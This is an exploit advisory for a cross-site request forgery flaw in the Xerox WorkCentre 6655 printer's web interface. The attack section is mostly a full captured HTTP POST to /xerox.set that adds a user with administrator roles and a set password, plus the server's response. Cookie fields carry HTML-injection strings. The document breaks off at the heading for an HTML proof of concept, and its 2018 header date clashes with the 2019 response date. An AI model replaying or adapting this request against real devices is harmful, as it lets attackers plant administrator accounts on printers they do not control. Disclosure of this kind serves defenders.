# Exploit Title: XEROX WorkCentre 6655 Printer - Cross-Site Request Forgery (Add Admin) # Date: 2018-12-19 # Exploit Author: Ismail Tasdelen # Vendor Homepage: https://www.xerox.com/ # Hardware Link : https://www.office.xerox.com/en-us/multifunction-printers/workcentre-6655 # Software : Xerox Printer # Product Version: WorkCentre® 6655 # Vulernability Type : Cross-Site Request Forgery (Add Admin) # Vulenrability : Cross-Site Request Forgery # CVE : N/A # Description : # The CSRF vulnerability was discovered in the WorkCentre® 6655 printer model of Xerox printer hardware. # A request to add users is made in the Device User Database form field. This request is captured by # the proxy. And a CSRF PoC HTML file is prepared. Xerox WorkCentre® 6655 printers allow CSRF. A request # to add users is made in the Device User Database form field to the xerox.set URI. # (The frmUserName value must have a unique name.) HTTP POST Request : POST /dummypost/xerox.set HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 494 Origin: https://server Connection: close Referer: https://server/properties/authentication/UserEdit.php?x=&isRoles=True&isPassword=True&isCreate=True&crumb1=UserManager%3Fx%3D%26sort%3DFname%26order%3DUp Cookie: PHPSESSID=d7c4d8f8efe7dd919e6d0f5c93ec16cd; PageToShow=; statusSelected=n1; statusNumNodes=9; frmFirstName=%22%3E%3Ch1%3Ea; frmLastName=%22%3E%3Ch1%3Ea; frmCompany=%22%3E%3Ch1%3Ea; frmDisplayName=%22%3E%3Ch1%3Ea%2C%20%22%3E%3Ch1%3Ea; frmEmail=test@test.com; frmIFax=324324324324; frmFaxNumber=324324324324; frmFriendlyName=; frmProtocol=SMB; frmXrxAdd_1=Ipv4; frmDocumentPath=; frmLoginName=; frmServerName=; frmServerVolume=; frmNdsTree=; frmNdsContext=; frmSmbShare=; frmHnAdd_1=; frmIpv4_1_1=0; frmIpv4_1_2=0; frmIpv4_1_3=0; frmIpv4_1_4=0; frmIpv6_Host_1=%3A%3A; WebTimerPopupID=4; propSelected=n28; propNumNodes=117; propHierarchy=000100000000000000000000000; LastPage=/properties/authentication/UserEdit.php%3F%26isRoles%3DTrue%26isPassword%3DTrue%26isCreate%3DTrue Upgrade-Insecure-Requests: 1 CSRFToken=72d9d94444730e9b3d16953c7987c2b0cff73a5d6c60df40ba2804f07d24e494148665ebb53a2633e5a1e8b73ef64ad02536d260928c6f10f408f2e3fd7c0776&_fun_function=HTTP_Set_ccgen_fac_dispatch_fn&NextPage=%2Fproperties%2Fauthentication%2FUserManager.php%3Fx%3D%26sort%3DFname%26order%3DUp&CcgenModule=UserEdit&isRoles=True&isPassword=True&isCreate=True&rolesStr=2%2C5%2C1%2C&limited=False&oid=0&userName=ismailtasdelen&friendlyName=Ismail+Tasdelen&newPassword=Test1234&retypePassword=Test1234&role=2&role=1 HTTP Response : HTTP/1.1 200 OK Date: Wed, 18 Dec 2019 22:09:40 GMT Server: Apache Connection: close Content-Type: text/html Content-Length: 13518 CSRF HTML PoC :